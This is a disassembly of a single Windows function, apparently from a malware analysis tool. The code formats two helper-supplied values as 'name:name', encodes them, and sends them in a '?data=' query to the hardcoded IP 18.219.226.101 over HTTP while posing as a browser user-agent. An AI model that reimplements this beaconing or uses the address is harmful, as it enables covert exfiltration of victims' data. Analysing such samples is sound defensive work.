Function at 0x140001540
Capabilities:
Initialize winhttp library
Initialize winsock library
Prepare http request
Reference http user-agent string

Disassembly:
push rdi
mov eax, 0x1250
call fcn.140001b80
sub rsp, rax
mov rax, qword [0x1400201b8]
xor rax, rsp
mov qword [rsp + 0x1240], rax
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov eax, 0x50
mov word [rsp + 0x50], ax
lea rax, str.18.219.226.101
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x240]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
lea rax, [rsp + 0x640]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
lea rax, [rsp + 0xa40]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0xa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x198
rep stosb byte [rdi], al
lea rdx, [rsp + 0xa0]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000163b
mov eax, 0xffffffff
jmp 0x14000190c
call fcn.140001080
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140001652
jmp 0x140001874
call section..text
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x140001669
jmp 0x140001874
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x70]
lea r8, str._s:_s
mov edx, 0x400
lea rcx, [rsp + 0x240]
call fcn.1400019b0
cmp eax, 0xffffffff
jne 0x14000169b
jmp 0x140001874
lea rcx, [rsp + 0x240]
call fcn.1400037e0
mov r8d, eax
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x640]
call fcn.140001100
lea rax, [rsp + 0x640]
mov qword [rsp + 0x20], rax
lea r9, str.logging
lea r8, str.__ls_data_hs
mov edx, 0x400
lea rcx, [rsp + 0xa40]
call fcn.140001a10
cmp eax, 0xffffffff
jne 0x1400016f7
jmp 0x140001874
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_119.0.0.0_Safari_537.36_Edg_119.0.0.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140001730
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x40], eax
jmp 0x140001874
xor r9d, r9d
movzx r8d, word [rsp + 0x50]
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140001768
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x40], eax
jmp 0x140001874
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0xa40]
lea rdx, [0x1400201a0]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1400017bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x40], eax
jmp 0x140001874
lea r8, [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x58]
call fcn.1400013e0
test eax, eax
je 0x140001848
mov r9d, 0x18
lea r8, [rsp + 0x88]
mov edx, 0x26
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x14000180e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x40], eax
jmp 0x140001874
mov dword [rsp + 0x78], 1
mov r9d, 4
lea r8, [rsp + 0x78]
mov edx, 0x4d
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x140001848
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x40], eax
jmp 0x140001874
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
cmp qword [rsp + 0x48], 0
je 0x140001890
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov qword [rsp + 0x48], 0
cmp qword [rsp + 0x60], 0
je 0x1400018ac
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov qword [rsp + 0x60], 0
cmp qword [rsp + 0x58], 0
je 0x1400018c8
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov qword [rsp + 0x58], 0
cmp qword [rsp + 0x68], 0
je 0x1400018e9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x68]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x70], 0
je 0x14000190a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x70]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov rcx, qword [rsp + 0x1240]
xor rcx, rsp
call fcn.140001bf0
add rsp, 0x1250
pop rdi
ret